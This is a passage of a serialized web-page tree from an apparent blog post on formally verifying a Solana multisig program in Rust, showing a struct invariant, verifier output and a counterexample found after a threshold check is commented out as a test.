transactions).",{"type":19,"tag":20,"props":22116,"children":22117},{},[22118,22120,22124],{"type":24,"value":22119},"Unlike the previous example, we want to verify this in ",{"type":19,"tag":293,"props":22121,"children":22122},{},[22123],{"type":24,"value":6741},{"type":24,"value":22125}," cases. I.e. any instruction that could mutate the multisig account.",{"type":19,"tag":20,"props":22127,"children":22128},{},[22129,22131,22135,22137,22142],{"type":24,"value":22130},"In this case, we want to model this as an ",{"type":19,"tag":293,"props":22132,"children":22133},{},[22134],{"type":24,"value":19233},{"type":24,"value":22136}," on the ",{"type":19,"tag":27,"props":22138,"children":22140},{"className":22139},[],[22141],{"type":24,"value":20197},{"type":24,"value":22143}," account struct:",{"type":19,"tag":158,"props":22145,"children":22147},{"code":22146,"language":362,"meta":7,"className":363,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[22148],{"type":19,"tag":27,"props":22149,"children":22150},{"__ignoreMap":7},[22151,22158,22183,22190,22214,22265,22272,22291,22318,22345,22372,22399,22426,22453,22480,22515],{"type":19,"tag":168,"props":22152,"children":22153},{"class":170,"line":171},[22154],{"type":19,"tag":168,"props":22155,"children":22156},{"style":212},[22157],{"type":24,"value":18225},{"type":19,"tag":168,"props":22159,"children":22160},{"class":170,"line":198},[22161,22165,22170,22174,22179],{"type":19,"tag":168,"props":22162,"children":22163},{"style":212},[22164],{"type":24,"value":20293},{"type":19,"tag":168,"props":22166,"children":22167},{"style":825},[22168],{"type":24,"value":22169},"Clone",{"type":19,"tag":168,"props":22171,"children":22172},{"style":212},[22173],{"type":24,"value":471},{"type":19,"tag":168,"props":22175,"children":22176},{"style":825},[22177],{"type":24,"value":22178},"Debug",{"type":19,"tag":168,"props":22180,"children":22181},{"style":212},[22182],{"type":24,"value":17713},{"type":19,"tag":168,"props":22184,"children":22185},{"class":170,"line":415},[22186],{"type":19,"tag":168,"props":22187,"children":22188},{"style":212},[22189],{"type":24,"value":18233},{"type":19,"tag":168,"props":22191,"children":22192},{"class":170,"line":450},[22193,22198,22202,22206,22210],{"type":19,"tag":168,"props":22194,"children":22195},{"style":212},[22196],{"type":24,"value":22197}," (self",{"type":19,"tag":168,"props":22199,"children":22200},{"style":399},[22201],{"type":24,"value":948},{"type":19,"tag":168,"props":22203,"children":22204},{"style":212},[22205],{"type":24,"value":18526},{"type":19,"tag":168,"props":22207,"children":22208},{"style":399},[22209],{"type":24,"value":7386},{"type":19,"tag":168,"props":22211,"children":22212},{"style":212},[22213],{"type":24,"value":18535},{"type":19,"tag":168,"props":22215,"children":22216},{"class":170,"line":560},[22217,22221,22225,22229,22233,22237,22241,22245,22249,22253,22257,22261],{"type":19,"tag":168,"props":22218,"children":22219},{"style":399},[22220],{"type":24,"value":13069},{"type":19,"tag":168,"props":22222,"children":22223},{"style":212},[22224],{"type":24,"value":18459},{"type":19,"tag":168,"props":22226,"children":22227},{"style":399},[22228],{"type":24,"value":948},{"type":19,"tag":168,"props":22230,"children":22231},{"style":212},[22232],{"type":24,"value":18526},{"type":19,"tag":168,"props":22234,"children":22235},{"style":382},[22236],{"type":24,"value":6280},{"type":19,"tag":168,"props":22238,"children":22239},{"style":825},[22240],{"type":24,"value":11177},{"type":19,"tag":168,"props":22242,"children":22243},{"style":399},[22244],{"type":24,"value":5634},{"type":19,"tag":168,"props":22246,"children":22247},{"style":212},[22248],{"type":24,"value":11243},{"type":19,"tag":168,"props":22250,"children":22251},{"style":399},[22252],{"type":24,"value":948},{"type":19,"tag":168,"props":22254,"children":22255},{"style":212},[22256],{"type":24,"value":18438},{"type":19,"tag":168,"props":22258,"children":22259},{"style":399},[22260],{"type":24,"value":948},{"type":19,"tag":168,"props":22262,"children":22263},{"style":212},[22264],{"type":24,"value":18587},{"type":19,"tag":168,"props":22266,"children":22267},{"class":170,"line":666},[22268],{"type":19,"tag":168,"props":22269,"children":22270},{"style":212},[22271],{"type":24,"value":17713},{"type":19,"tag":168,"props":22273,"children":22274},{"class":170,"line":694},[22275,22279,22283,22287],{"type":19,"tag":168,"props":22276,"children":22277},{"style":382},[22278],{"type":24,"value":11136},{"type":19,"tag":168,"props":22280,"children":22281},{"style":382},[22282],{"type":24,"value":18606},{"type":19,"tag":168,"props":22284,"children":22285},{"style":825},[22286],{"type":24,"value":18611},{"type":19,"tag":168,"props":22288,"children":22289},{"style":212},[22290],{"type":24,"value":691},{"type":19,"tag":168,"props":22292,"children":22293},{"class":170,"line":707},[22294,22298,22302,22306,22310,22314],{"type":19,"tag":168,"props":22295,"children":22296},{"style":382},[22297],{"type":24,"value":18298},{"type":19,"tag":168,"props":22299,"children":22300},{"style":393},[22301],{"type":24,"value":18627},{"type":19,"tag":168,"props":22303,"children":22304},{"style":399},[22305],{"type":24,"value":1922},{"type":19,"tag":168,"props":22307,"children":22308},{"style":825},[22309],{"type":24,"value":18485},{"type":19,"tag":168,"props":22311,"children":22312},{"style":212},[22313],{"type":24,"value":18640},{"type":19,"tag":168,"props":22315,"children":22316},{"style":373},[22317],{"type":24,"value":18645},{"type":19,"tag":168,"props":22319,"children":22320},{"class":170,"line":725},[22321,22325,22329,22333,22337,22341],{"type":19,"tag":168,"props":22322,"children":22323},{"style":382},[22324],{"type":24,"value":18298},{"type":19,"tag":168,"props":22326,"children":22327},{"style":393},[22328],{"type":24,"value":18657},{"type":19,"tag":168,"props":22330,"children":22331},{"style":399},[22332],{"type":24,"value":1922},{"type":19,"tag":168,"props":22334,"children":22335},{"style":825},[22336],{"type":24,"value":18485},{"type":19,"tag":168,"props":22338,"children":22339},{"style":212},[22340],{"type":24,"value":18670},{"type":19,"tag":168,"props":22342,"children":22343},{"style":373},[22344],{"type":24,"value":18675},{"type":19,"tag":168,"props":22346,"children":22347},{"class":170,"line":746},[22348,22352,22356,22360,22364,22368],{"type":19,"tag":168,"props":22349,"children":22350},{"style":382},[22351],{"type":24,"value":18298},{"type":19,"tag":168,"props":22353,"children":22354},{"style":393},[22355],{"type":24,"value":18687},{"type":19,"tag":168,"props":22357,"children":22358},{"style":399},[22359],{"type":24,"value":1922},{"type":19,"tag":168,"props":22361,"children":22362},{"style":825},[22363],{"type":24,"value":14999},{"type":19,"tag":168,"props":22365,"children":22366},{"style":212},[22367],{"type":24,"value":18700},{"type":19,"tag":168,"props":22369,"children":22370},{"style":373},[22371],{"type":24,"value":18705},{"type":19,"tag":168,"props":22373,"children":22374},{"class":170,"line":755},[22375,22379,22383,22387,22391,22395],{"type":19,"tag":168,"props":22376,"children":22377},{"style":382},[22378],{"type":24,"value":18298},{"type":19,"tag":168,"props":22380,"children":22381},{"style":393},[22382],{"type":24,"value":18717},{"type":19,"tag":168,"props":22384,"children":22385},{"style":399},[22386],{"type":24,"value":1922},{"type":19,"tag":168,"props":22388,"children":22389},{"style":825},[22390],{"type":24,"value":14999},{"type":19,"tag":168,"props":22392,"children":22393},{"style":212},[22394],{"type":24,"value":18670},{"type":19,"tag":168,"props":22396,"children":22397},{"style":373},[22398],{"type":24,"value":18734},{"type":19,"tag":168,"props":22400,"children":22401},{"class":170,"line":1008},[22402,22406,22410,22414,22418,22422],{"type":19,"tag":168,"props":22403,"children":22404},{"style":382},[22405],{"type":24,"value":18298},{"type":19,"tag":168,"props":22407,"children":22408},{"style":393},[22409],{"type":24,"value":18746},{"type":19,"tag":168,"props":22411,"children":22412},{"style":399},[22413],{"type":24,"value":1922},{"type":19,"tag":168,"props":22415,"children":22416},{"style":825},[22417],{"type":24,"value":12080},{"type":19,"tag":168,"props":22419,"children":22420},{"style":212},[22421],{"type":24,"value":18759},{"type":19,"tag":168,"props":22423,"children":22424},{"style":373},[22425],{"type":24,"value":18764},{"type":19,"tag":168,"props":22427,"children":22428},{"class":170,"line":1025},[22429,22433,22437,22441,22445,22449],{"type":19,"tag":168,"props":22430,"children":22431},{"style":382},[22432],{"type":24,"value":18298},{"type":19,"tag":168,"props":22434,"children":22435},{"style":393},[22436],{"type":24,"value":18776},{"type":19,"tag":168,"props":22438,"children":22439},{"style":399},[22440],{"type":24,"value":1922},{"type":19,"tag":168,"props":22442,"children":22443},{"style":825},[22444],{"type":24,"value":18312},{"type":19,"tag":168,"props":22446,"children":22447},{"style":212},[22448],{"type":24,"value":18789},{"type":19,"tag":168,"props":22450,"children":22451},{"style":373},[22452],{"type":24,"value":18794},{"type":19,"tag":168,"props":22454,"children":22455},{"class":170,"line":1042},[22456,22460,22464,22468,22472,22476],{"type":19,"tag":168,"props":22457,"children":22458},{"style":382},[22459],{"type":24,"value":18298},{"type":19,"tag":168,"props":22461,"children":22462},{"style":393},[22463],{"type":24,"value":18806},{"type":19,"tag":168,"props":22465,"children":22466},{"style":399},[22467],{"type":24,"value":1922},{"type":19,"tag":168,"props":22469,"children":22470},{"style":825},[22471],{"type":24,"value":9495},{"type":19,"tag":168,"props":22473,"children":22474},{"style":212},[22475],{"type":24,"value":471},{"type":19,"tag":168,"props":22477,"children":22478},{"style":373},[22479],{"type":24,"value":18823},{"type":19,"tag":168,"props":22481,"children":22482},{"class":170,"line":1055},[22483,22487,22491,22495,22499,22503,22507,22511],{"type":19,"tag":168,"props":22484,"children":22485},{"style":382},[22486],{"type":24,"value":18298},{"type":19,"tag":168,"props":22488,"children":22489},{"style":393},[22490],{"type":24,"value":18835},{"type":19,"tag":168,"props":22492,"children":22493},{"style":399},[22494],{"type":24,"value":1922},{"type":19,"tag":168,"props":22496,"children":22497},{"style":825},[22498],{"type":24,"value":18844},{"type":19,"tag":168,"props":22500,"children":22501},{"style":212},[22502],{"type":24,"value":3240},{"type":19,"tag":168,"props":22504,"children":22505},{"style":825},[22506],{"type":24,"value":18853},{"type":19,"tag":168,"props":22508,"children":22509},{"style":212},[22510],{"type":24,"value":18858},{"type":19,"tag":168,"props":22512,"children":22513},{"style":373},[22514],{"type":24,"value":18863},{"type":19,"tag":168,"props":22516,"children":22517},{"class":170,"line":1064},[22518],{"type":19,"tag":168,"props":22519,"children":22520},{"style":212},[22521],{"type":24,"value":1326},{"type":19,"tag":20,"props":22523,"children":22524},{},[22525,22527,22532],{"type":24,"value":22526},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":19,"tag":27,"props":22528,"children":22530},{"className":22529},[],[22531],{"type":24,"value":20197},{"type":24,"value":22533}," object will be checked to ensure that the invariant still holds after modification.",{"type":19,"tag":20,"props":22535,"children":22536},{},[22537,22539,22544],{"type":24,"value":22538},"Let's try this on the ",{"type":19,"tag":27,"props":22540,"children":22542},{"className":22541},[],[22543],{"type":24,"value":20276},{"type":24,"value":22545}," instruction that we've already seen:",{"type":19,"tag":158,"props":22547,"children":22549},{"code":22548},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[22550],{"type":19,"tag":27,"props":22551,"children":22552},{"__ignoreMap":7},[22553],{"type":24,"value":22548},{"type":19,"tag":20,"props":22555,"children":22556},{},[22557,22559,22564],{"type":24,"value":22558},"To ensure this is working, we can test by commenting out this check from ",{"type":19,"tag":27,"props":22560,"children":22562},{"className":22561},[],[22563],{"type":24,"value":20276},{"type":24,"value":1922},{"type":19,"tag":158,"props":22566,"children":22568},{"code":22567,"language":362,"meta":7,"className":363,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// }\n",[22569],{"type":19,"tag":27,"props":22570,"children":22571},{"__ignoreMap":7},[22572,22580,22588],{"type":19,"tag":168,"props":22573,"children":22574},{"class":170,"line":171},[22575],{"type":19,"tag":168,"props":22576,"children":22577},{"style":373},[22578],{"type":24,"value":22579},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":19,"tag":168,"props":22581,"children":22582},{"class":170,"line":198},[22583],{"type":19,"tag":168,"props":22584,"children":22585},{"style":373},[22586],{"type":24,"value":22587},"// return err!(MsError::InvalidThreshold);\n",{"type":19,"tag":168,"props":22589,"children":22590},{"class":170,"line":415},[22591],{"type":19,"tag":168,"props":22592,"children":22593},{"style":373},[22594],{"type":24,"value":22595},"// }\n",{"type":19,"tag":20,"props":22597,"children":22598},{},[22599],{"type":24,"value":22600},"And run again:",{"type":19,"tag":158,"props":22602,"children":22604},{"code":22603},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[22605],{"type":19,"tag":27,"props":22606,"children":22607},{"__ignoreMap":7},[22608],{"type":24,"value":22603},{"type":19,"tag":20,"props":22610,"children":22611},{},[22612],{"type":24,"value":22613},"We get the following counterexample:",{"type":19,"tag":158,"props":22615,"children":22617},{"code":22616,"language":362,"meta":7,"className":363,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[22618],{"type":19,"tag":27,"props":22619,"children":22620},{"__ignoreMap":7},[22621,22632,22652,22672,22692,22712,22732,22752,22772,22792,22813,22834,22842,22850,22880],{"type":19,"tag":168,"props":22622,"children":22623},{"class":170,"line":171},[22624,22628],{"type":19,"tag":168,"props":22625,"children":22626},{"style":825},[22627],{"type":24,"value":14595},{"type":19,"tag":168,"props":22629,"children":22630},{"style":212},[22631],{"type":24,"value":691},{"type":19,"tag":168,"props":22633,"children":22634},{"class":170,"line":198},[22635,22640,22644,22648],{"type":19,"tag":168,"props":22636,"children":22637},{"style":393},[22638],{"type":24,"value":22639}," account",{"type":19,"tag":168,"props":22641,"children":22642},{"style":399},[22643],{"type":24,"value":1922},{"type":19,"tag":168,"props":22645,"children":22646},{"style":825},[22647],{"type":24,"value":18611},{"type":19,"tag":168,"props":22649,"children":22650},{"style":212},[22651],{"type":24,"value":691},{"type":19,"tag":168,"props":22653,"children":22654},{"class":170,"line":415},[22655,22659,22663,22668],{"type":19,"tag":168,"props":22656,"children":22657},{"style":393},[22658],{"type":24,"value":21293},{"type":19,"tag":168,"props":22660,"children":22661},{"style":399},[22662],{"type":24,"value":1922},{"type":19,"tag":168,"props":22664,"children":22665},{"style":192},[22666],{"type":24,"value":22667}," 32768",{"type":19,"tag":168,"props":22669,"children":22670},{"style":212},[22671],{"type":24,"value":915},{"type":19,"tag":168,"props":22673,"children":22674},{"class":170,"line":450},[22675,22680,22684,22688],{"type":19,"tag":168,"props":22676,"children":22677},{"style":393},[22678],{"type":24,"value":22679}," authority_index",{"type":19,"tag":168,"props":22681,"children":22682},{"style":399},[22683],{"type":24,"value":1922},{"type":19,"tag":168,"props":22685,"children":22686},{"style":192},[22687],{"type":24,"value":1954},{"type":19,"tag":168,"props":22689,"children":22690},{"style":212},[22691],{"type":24,"value":915},{"type":19,"tag":168,"props":22693,"children":22694},{"class":170,"line":560},[22695,22700,22704,22708],{"type":19,"tag":168,"props":22696,"children":22697},{"style":393},[22698],{"type":24,"value":22699}," transaction_index",{"type":19,"tag":168,"props":22701,"children":22702},{"style":399},[22703],{"type":24,"value":1922},{"type":19,"tag":168,"props":22705,"children":22706},{"style":192},[22707],{"type":24,"value":437},{"type":19,"tag":168,"props":22709,"children":22710},{"style":212},[22711],{"type":24,"value":915},{"type":19,"tag":168,"props":22713,"children":22714},{"class":170,"line":666},[22715,22720,22724,22728],{"type":19,"tag":168,"props":22716,"children":22717},{"style":393},[22718],{"type":24,"value":22719}," ms_change_index",{"type":19,"tag":168,"props":22721,"children":22722},{"style":399},[22723],{"type":24,"value":1922},{"type":19,"tag":168,"props":22725,"children":22726},{"style":192},[22727],{"type":24,"value":437},{"type":19,"tag":168,"props":22729,"children":22730},{"style":212},[22731],{"type":24,"value":915},{"type":19,"tag":168,"props":22733,"children":22734},{"class":170,"line":694},[22735,22740,22744,22748],{"type":19,"tag":168,"props":22736,"children":22737},{"style":393},[22738],{"type":24,"value":22739}," bump",{"type":19,"tag":168,"props":22741,"children":22742},{"style":399},[22743],{"type":24,"value":1922},{"type":19,"tag":168,"props":22745,"children":22746},{"style":192},[22747],{"type":24,"value":437},{"type":19,"tag":168,"props":22749,"children":22750},{"style":212},[22751],{"type":24,"value":915},{"type":19,"tag":168,"props":22753,"children":22754},{"class":170,"line":707},[22755,22759,22763,22768],{"type":19,"tag":168,"props":22756,"children":22757},{"style":393},[22758],{"type":24,"value":21306},{"type":19,"tag":168,"props":22760,"children":22761},{"style":399},[22762],{"type":24,"value":1922},{"type":19,"tag":168,"props":22764,"children":22765},{"style":399},[22766],{"type":24,"value":22767}," ...",{"type":19,"tag":168,"props":22769,"children":22770},{"style":212},[22771],{"type":24,"value":915},{"type":19,"tag":168,"props":22773,"children":22774},{"class":170,"line":725},[22775,22780,22784,22788],{"type":19,"tag":168,"props":22776,"children":22777},{"style":393},[22778],{"type":24,"value":22779}," allow_external_execute",{"type":19,"tag":168,"props":22781,"children":22782},{"style":399},[22783],{"type":24,"value":1922},{"type":19,"tag":168,"props":22785,"children":22786},{"style":382},[22787],{"type":24,"value":6497},{"type":19,"tag":168,"props":22789,"children":22790},{"style":212},[22791],{"type":24,"value":915},{"type":19,"tag":168,"props":22793,"children":22794},{"class":170,"line":746},[22795,22800,22804,22809],{"type":19,"tag":168,"props":22796,"children":22797},{"style":393},[22798],{"type":24,"value":22799}," keys",{"type":19,"tag":168,"props":22801,"children":22802},{"style":399},[22803],{"type":24,"value":1922},{"type":19,"tag":168,"props":22805,"children":22806},{"style":825},[22807],{"type":24,"value":22808}," SparseVec",{"type":19,"tag":168,"props":22810,"children":22811},{"style":212},[22812],{"type":24,"value":691},{"type":19,"tag":168,"props":22814,"children":22815},{"class":170,"line":755},[22816,22821,22825,22830],{"type":19,"tag":168,"props":22817,"children":22818},{"style":393},[22819],{"type":24,"value":22820}," size",{"type":19,"tag":168,"props":22822,"children":22823},{"style":399},[22824],{"type":24,"value":1922},{"type":19,"tag":168,"props":22826,"children":22827},{"style":192},[22828],{"type":24,"value":22829}," 5112",{"type":19,"tag":168,"props":22831,"children":22832},{"style":212},[22833],{"type":24,"value":915},{"type":19,"tag":168,"props":22835,"children":22836},{"class":170,"line":1008},[22837],{"type":19,"tag":168,"props":22838,"children":22839},{"style":212},[22840],{"type":24,"value":22841}," },\n",{"type":19,"tag":168,"props":22843,"children":22844},{"class":170,"line":1025},[22845],{"type":19,"tag":168,"props":22846,"children":22847},{"style":212},[22848],{"type":24,"value":22849}," },\n",{"type":19,"tag":168,"props":22851,"children":22852},{"class":170,"line":1042},[22853,22858,22862,22867,22871,22875],{"type":19,"tag":168,"props":22854,"children":22855},{"style":393},[22856],{"type":24,"value":22857}," info",{"type":19,"tag":168,"props":22859,"children":22860},{"style":399},[22861],{"type":24,"value":1922},{"type":19,"tag":168,"props":22863,"children":22864},{"style":825},[22865],{"type":24,"value":22866}," AccountInfo",{"type":19,"tag":168,"props":22868,"children":22869},{"style":212},[22870],{"type":24,"value":7027},{"type":19,"tag":168,"props":22872,"children":22873},{"style":399},[22874],{"type":24,"value":7032},{"type":19,"tag":168,"props":22876,"children":22877},{"style":212},[22878],{"type":24,"value":22879}," },\n",{"type":19,"tag":168,"props":22881,"children":22882},{"class":170,"line":1055},[22883],{"type":19,"tag":168,"props":22884,"children":22885},{"style":212},[22886],{"type":24,"value":1326},{"type":19,"tag":20,"props":22888,"children":22889},{},[22890,22892,22897,22899,22904],{"type":24,"value":22891},"Here we see that the ",{"type":19,"tag":27,"props":22893,"children":22895},{"className":22894},[],[22896],{"type":24,"value":20205},{"type":24,"value":22898}," of the newly created ",{"type":19,"tag":27,"props":22900,"children":22902},{"className":22901},[],[22903],{"type":24,"value":20197},{"type":24,"value":22905}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":19,"tag":7050,"props":22907,"children":22909},{"id":22908},"verify-requirements-to-remove-a-member",[22910],{"type":24,"value":20235},{"type":19,"tag":20,"props":22912,"children":22913},{},[22914,22916,22921,22922,22927,22929,22935],{"type":24,"value":22915},"Now that we've seen both ",{"type":19,"tag":27,"props":22917,"children":22919},{"className":22918},[],[22920],{"type":24,"value":17609},{"type":24,"value":8436},{"type":19,"tag":27,"props":22923,"children":22925},{"className":22924},[],[22926],{"type":24,"value":19233},{"type":24,"value":22928}," let's take a look at the ",{"type":19,"tag":27,"props":22930,"children":22932},{"className":22931},[],[22933],{"type":24,"value":22934},"remove_member",{"type":24,"value":22936}," function:",{"type":19,"tag":158,"props":22938,"children":22940},{"code":22939,"language":362,"meta":7,"className":363,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[22941],{"type":19,"tag":27,"props":22942,"children":22943},{"__ignoreMap":7},[22944,22967,22995,23010,23055,23062,23074,23090,23102,23128,23136,23165,23172,23204,23211,23218,23292,23300,23360,23392,23399,23450,23457,23465,23558,23647,23701,23708,23753,23798],{"type":19,"tag":168,"props":22945,"children":22946},{"class":170,"line":171},[22947,22951,22955,22959,22963],{"type":19,"tag":168,"props":22948,"children":22949},{"style":212},[22950],{"type":24,"value":20293},{"type":19,"tag":168,"props":22952,"children":22953},{"style":825},[22954],{"type":24,"value":20298},{"type":19,"tag":168,"props":22956,"children":22957},{"style":212},[22958],{"type":24,"value":471},{"type":19,"tag":168,"props":22960,"children":22961},{"style":825},[22962],{"type":24,"value":22178},{"type":19,"tag":168,"props":22964,"children":22965},{"style":212},[22966],{"type":24,"value":17713},{"type":19,"tag":168,"props":22968,"children":22969},{"class":170,"line":198},[22970,22974,22978,22983,22987,22991],{"type":19,"tag":168,"props":22971,"children":22972},{"style":382},[22973],{"type":24,"value":11136},{"type":19,"tag":168,"props":22975,"children":22976},{"style":382},[22977],{"type":24,"value":18606},{"type":19,"tag":168,"props":22979,"children":22980},{"style":825},[22981],{"type":24,"value":22982}," MsAuth",{"type":19,"tag":168,"props":22984,"children":22985},{"style":212},[22986],{"type":24,"value":20378},{"type":19,"tag":168,"props":22988,"children":22989},{"style":825},[22990],{"type":24,"value":20383},{"type":19,"tag":168,"props":22992,"children":22993},{"style":212},[22994],{"type":24,"value":4717},{"type":19,"tag":168,"props":22996,"children":22997},{"class":170,"line":415},[22998,23002,23006],{"type":19,"tag":168,"props":22999,"children":23000},{"style":212},[23001],{"type":24,"value":20585},{"type":19,"tag":168,"props":23003,"children":23004},{"style":382},[23005],{"type":24,"value":1142},{"type":19,"tag":168,"props":23007,"children":23008},{"style":212},[23009],{"type":24,"value":17713},{"type":19,"tag":168,"props":23011,"children":23012},{"class":170,"line":450},[23013,23018,23022,23027,23031,23035,23039,23043,23047,23051],{"type":19,"tag":168,"props":23014,"children":23015},{"style":393},[23016],{"type":24,"value":23017}," multisig",{"type":19,"tag":168,"props":23019,"children":23020},{"style":399},[23021],{"type":24,"value":1922},{"type":19,"tag":168,"props":23023,"children":23024},{"style":825},[23025],{"type":24,"value":23026}," Box",{"type":19,"tag":168,"props":23028,"children":23029},{"style":212},[23030],{"type":24,"value":3240},{"type":19,"tag":168,"props":23032,"children":23033},{"style":825},[23034],{"type":24,"value":14595},{"type":19,"tag":168,"props":23036,"children":23037},{"style":212},[23038],{"type":24,"value":20378},{"type":19,"tag":168,"props":23040,"children":23041},{"style":825},[23042],{"type":24,"value":20383},{"type":19,"tag":168,"props":23044,"children":23045},{"style":212},[23046],{"type":24,"value":471},{"type":19,"tag":168,"props":23048,"children":23049},{"style":825},[23050],{"type":24,"value":20197},{"type":19,"tag":168,"props":23052,"children":23053},{"style":212},[23054],{"type":24,"value":4387},{"type":19,"tag":168,"props":23056,"children":23057},{"class":170,"line":560},[23058],{"type":19,"tag":168,"props":23059,"children":23060},{"style":212},[23061],{"type":24,"value":20395},{"type":19,"tag":168,"props":23063,"children":23064},{"class":170,"line":666},[23065,23070],{"type":19,"tag":168,"props":23066,"children":23067},{"style":382},[23068],{"type":24,"value":23069}," mut",{"type":19,"tag":168,"props":23071,"children":23072},{"style":212},[23073],{"type":24,"value":915},{"type":19,"tag":168,"props":23075,"children":23076},{"class":170,"line":694},[23077,23081,23085],{"type":19,"tag":168,"props":23078,"children":23079},{"style":212},[23080],{"type":24,"value":20479},{"type":19,"tag":168,"props":23082,"children":23083},{"style":399},[23084],{"type":24,"value":486},{"type":19,"tag":168,"props":23086,"children":23087},{"style":212},[23088],{"type":24,"value":23089}," [\n",{"type":19,"tag":168,"props":23091,"children":23092},{"class":170,"line":707},[23093,23098],{"type":19,"tag":168,"props":23094,"children":23095},{"style":181},[23096],{"type":24,"value":23097}," b\"squad\"",{"type":19,"tag":168,"props":23099,"children":23100},{"style":212},[23101],{"type":24,"value":915},{"type":19,"tag":168,"props":23103,"children":23104},{"class":170,"line":725},[23105,23110,23114,23119,23123],{"type":19,"tag":168,"props":23106,"children":23107},{"style":212},[23108],{"type":24,"value":23109}," multisig",{"type":19,"tag":168,"props":23111,"children":23112},{"style":399},[23113],{"type":24,"value":948},{"type":19,"tag":168,"props":23115,"children":23116},{"style":212},[23117],{"type":24,"value":23118},"create_key",{"type":19,"tag":168,"props":23120,"children":23121},{"style":399},[23122],{"type":24,"value":948},{"type":19,"tag":168,"props":23124,"children":23125},{"style":212},[23126],{"type":24,"value":23127},"as_ref(),\n",{"type":19,"tag":168,"props":23129,"children":23130},{"class":170,"line":746},[23131],{"type":19,"tag":168,"props":23132,"children":23133},{"style":181},[23134],{"type":24,"value":23135}," b\"multisig\"\n",{"type":19,"tag":168,"props":23137,"children":23138},{"class":170,"line":755},[23139,23144,23149,23153,23157,23161],{"type":19,"tag":168,"props":23140,"children":23141},{"style":212},[23142],{"type":24,"value":23143}," ], ",{"type":19,"tag":168,"props":23145,"children":23146},{"style":393},[23147],{"type":24,"value":23148},"bump",{"type":19,"tag":168,"props":23150,"children":23151},{"style":399},[23152],{"type":24,"value":402},{"type":19,"tag":168,"props":23154,"children":23155},{"style":393},[23156],{"type":24,"value":20541},{"type":19,"tag":168,"props":23158,"children":23159},{"style":399},[23160],{"type":24,"value":948},{"type":19,"tag":168,"props":23162,"children":23163},{"style":212},[23164],{"type":24,"value":20521},{"type":19,"tag":168,"props":23166,"children":23167},{"class":170,"line":1008},[23168],{"type":19,"tag":168,"props":23169,"children":23170},{"style":212},[23171],{"type":24,"value":20529},{"type":19,"tag":168,"props":23173,"children":23174},{"class":170,"line":1025},[23175,23179,23184,23188,23192,23196,23200],{"type":19,"tag":168,"props":23176,"children":23177},{"style":382},[23178],{"type":24,"value":18298},{"type":19,"tag":168,"props":23180,"children":23181},{"style":393},[23182],{"type":24,"value":23183}," multisig_auth",{"type":19,"tag":168,"props":23185,"children":23186},{"style":399},[23187],{"type":24,"value":1922},{"type":19,"tag":168,"props":23189,"children":23190},{"style":825},[23191],{"type":24,"value":20614},{"type":19,"tag":168,"props":23193,"children":23194},{"style":212},[23195],{"type":24,"value":20378},{"type":19,"tag":168,"props":23197,"children":23198},{"style":825},[23199],{"type":24,"value":20383},{"type":19,"tag":168,"props":23201,"children":23202},{"style":212},[23203],{"type":24,"value":3573},{"type":19,"tag":168,"props":23205,"children":23206},{"class":170,"line":1042},[23207],{"type":19,"tag":168,"props":23208,"children":23209},{"style":212},[23210],{"type":24,"value":1326},{"type":19,"tag":168,"props":23212,"children":23213},{"class":170,"line":1055},[23214],{"type":19,"tag":168,"props":23215,"children":23216},{"emptyLinePlaceholder":14},[23217],{"type":24,"value":1093},{"type":19,"tag":168,"props":23219,"children":23220},{"class":170,"line":1064},[23221,23225,23229,23234,23238,23242,23246,23250,23254,23259,23263,23268,23272,23276,23280,23284,23288],{"type":19,"tag":168,"props":23222,"children":23223},{"style":382},[23224],{"type":24,"value":11136},{"type":19,"tag":168,"props":23226,"children":23227},{"style":382},[23228],{"type":24,"value":11141},{"type":19,"tag":168,"props":23230,"children":23231},{"style":175},[23232],{"type":24,"value":23233}," 